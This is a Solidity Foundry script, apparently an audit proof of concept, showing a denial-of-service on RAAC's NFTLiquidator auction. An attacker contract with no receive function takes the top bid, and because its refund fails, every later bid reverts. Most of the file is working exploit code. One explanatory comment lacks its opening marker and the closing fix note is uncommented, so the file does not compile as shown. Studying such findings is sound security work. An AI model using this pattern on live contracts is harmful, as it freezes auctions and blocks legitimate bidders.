pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import {console, Script} from "forge-std/Script.sol";
import {RAACNFT} from "../src/contracts/core/tokens/RAACNFT.sol";
import {NFTLiquidator} from "../src/contracts/core/pools/StabilityPool/NFTLiquidator.sol";
import {RAACHousePrices} from "../src/contracts/core/primitives/RAACHousePrices.sol";
import {RAACToken} from "../src/contracts/core/tokens/RAACToken.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract BIDDER3 {
constructor() payable {
}
}
contract StabilityPool {
NFTLiquidator public nftliquidator;
constructor(address _nftLiquidator) {
nftliquidator = NFTLiquidator(_nftLiquidator);
}
function triggerLiquidation(uint256 tokenId, uint256 debt) external {
nftliquidator.liquidateNFT(tokenId, debt);
}
}
contract Solve is Script, Test{
RAACNFT public raacnft;
NFTLiquidator public nftliquidator;
StabilityPool public stabilitypool;
RAACHousePrices public raac_hp;
RAACToken public raactoken;
BIDDER3 public bidder3;
address public useraddr = vm.envAddress("AASD");
address public DUMMYWALLET = vm.envAddress("DUMMYWALLET");
address public BIDDER1 = vm.envAddress("BIDDER1");
address public owner = vm.envAddress("OWNER");
address public RAACHOUSEPRICES_ADDR = vm.envAddress("RAACHousePrices");
address public CRVUSD_ADDR = vm.envAddress("CRV_USD");
address public RAACNFT_ADDR = vm.envAddress("NFT_CONTRACT");
address public RAACTOKEN_ADDR = vm.envAddress("RAACTOKEN");
address public STABILITYPOOL_ADDR;
constructor() {
nftliquidator = new NFTLiquidator(CRVUSD_ADDR, RAACNFT_ADDR, owner, 5);
stabilitypool = new StabilityPool(address(nftliquidator));
bidder3 = new BIDDER3();
STABILITYPOOL_ADDR = address(stabilitypool);
raac_hp = RAACHousePrices(RAACHOUSEPRICES_ADDR);
raacnft = RAACNFT(RAACNFT_ADDR);
raactoken = RAACToken(RAACTOKEN_ADDR);
}
function init() internal {
vm.startPrank(owner);
raactoken.setMinter(owner);
raactoken.mint(useraddr, 1000 ether);
raac_hp.setOracle(owner);
raac_hp.setHousePrice(1, 100 ether);
nftliquidator.setStabilityPool(address(stabilitypool));
vm.stopPrank();
vm.startPrank(useraddr);
raactoken.approve(address(raacnft), 100 ether);
raacnft.mint(1, 100 ether);
raacnft.transferFrom(useraddr, address(stabilitypool), 1);
vm.stopPrank();
vm.startPrank(STABILITYPOOL_ADDR);
raacnft.approve(address(nftliquidator), 1);
vm.stopPrank();
stabilitypool.triggerLiquidation(1, 90 ether);
vm.startPrank(DUMMYWALLET);
bidder3 = new BIDDER3{value:9000 ether}();
vm.stopPrank();
}
function run() public {
init();
uint256 auctionEndTime;
address highestBidder;
(, auctionEndTime,,) = nftliquidator.tokenData(1);
require(auctionEndTime > 0, "The auction for the 1st NFT has not started");
require(address(bidder3).balance == 9000 ether, "The contract's balance is insufficient for the DoS attack");
console.log("Attacker's CA balance : ", address(bidder3).balance);
First, an EOA attempts to bid and secures the highestBidder position
Second, an attack contract (CA) attempts to bid and seizes the highestBidder position
Third, another EOA attempts to bid to take over the highestBidder position.
However, because the attack contract (CA) does not implement the fallback or receive functions,
a DoS condition occurs, preventing the bid from succeeding
*/
vm.startPrank(BIDDER1);
nftliquidator.placeBid{value : 100 ether}(1);
(,,, highestBidder) = nftliquidator.tokenData(1);
assert(highestBidder == BIDDER1);
vm.stopPrank();
vm.startPrank(address(bidder3));
nftliquidator.placeBid{value : 200 ether}(1);
(,,, highestBidder) = nftliquidator.tokenData(1);
assert(highestBidder == address(bidder3));
vm.stopPrank();
vm.startPrank(BIDDER1);
vm.expectRevert();
nftliquidator.placeBid{value : 250 ether}(1);
vm.stopPrank();
console.log("Due to the DoS, it always reverts");
}
}
before transferring funds to the previous bidder, update the information of the next bidder.